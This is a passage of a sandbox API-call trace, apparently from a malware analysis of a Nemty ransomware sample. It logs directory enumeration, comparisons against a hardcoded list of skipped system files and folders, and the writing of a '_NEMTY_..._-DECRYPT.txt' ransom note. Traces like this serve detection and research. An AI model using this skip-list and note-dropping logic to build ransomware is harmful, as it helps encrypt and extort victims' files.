ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="...") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="windows") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="rsa") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="NTDETECT.COM") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ntldr") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="MSDOS.SYS") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="IO.SYS") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="boot.ini") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="boot.ini") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ntuser.dat") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="desktop.ini") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="CONFIG.SYS") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="RECYCLER") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.262] lstrcmpiW (lpString1="wmpshare.exe", lpString2="bootmgr") returned 1 [0107.263] lstrcmpiW (lpString1="wmpshare.exe", lpString2="programdata") returned 1 [0107.263] lstrcmpiW (lpString1="wmpshare.exe", lpString2="appdata") returned 1 [0107.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpshare.exe", lpUsedDefaultChar=0x0) returned 12 [0107.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpshare.exe", lpUsedDefaultChar=0x0) returned 12 [0107.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpshare.exe", lpUsedDefaultChar=0x0) returned 12 [0107.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpshare.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpshare.exe", lpUsedDefaultChar=0x0) returned 12 [0107.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.263] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1 [0107.263] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".") returned 1 [0107.263] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="..") returned 1 [0107.263] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="...") returned 1 [0107.265] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="windows") returned 1 [0107.265] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.265] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="rsa") returned 1 [0107.267] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="NTDETECT.COM") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="ntldr") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="MSDOS.SYS") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="IO.SYS") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="boot.ini") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="boot.ini") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="ntuser.dat") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="desktop.ini") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="CONFIG.SYS") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="RECYCLER") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="bootmgr") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="programdata") returned 1 [0107.268] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="appdata") returned 1 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe", lpUsedDefaultChar=0x0) returned 21 [0107.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe", lpUsedDefaultChar=0x0) returned 21 [0107.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0107.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0107.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe", lpUsedDefaultChar=0x0) returned 21 [0107.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0107.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe", lpUsedDefaultChar=0x0) returned 21 [0107.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0107.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.269] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c11130, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0c11130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c37290, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.270] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c11130, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0c11130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c37290, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.270] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0107.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0107.270] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0107.270] lstrcmpiW (lpString1="Windows NT", lpString2=".") returned 1 [0107.270] lstrcmpiW (lpString1="Windows NT", lpString2="..") returned 1 [0107.270] lstrcmpiW (lpString1="Windows NT", lpString2="...") returned 1 [0107.270] lstrcmpiW (lpString1="Windows NT", lpString2="windows") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="$RECYCLE.BIN") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="rsa") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="NTDETECT.COM") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="ntldr") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="MSDOS.SYS") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="IO.SYS") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="boot.ini") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="boot.ini") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="AUTOEXEC.BAT") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="ntuser.dat") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="desktop.ini") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="CONFIG.SYS") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="RECYCLER") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="BOOTSECT.BAK") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="bootmgr") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="programdata") returned 1 [0107.271] lstrcmpiW (lpString1="Windows NT", lpString2="appdata") returned 1 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows NT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows NT", cchWideChar=10, lpMultiByteStr=0x653f8d0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows NT", lpUsedDefaultChar=0x0) returned 10 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows NT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows NT", cchWideChar=10, lpMultiByteStr=0x653f8d0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows NT", lpUsedDefaultChar=0x0) returned 10 [0107.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0107.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0107.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.272] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows 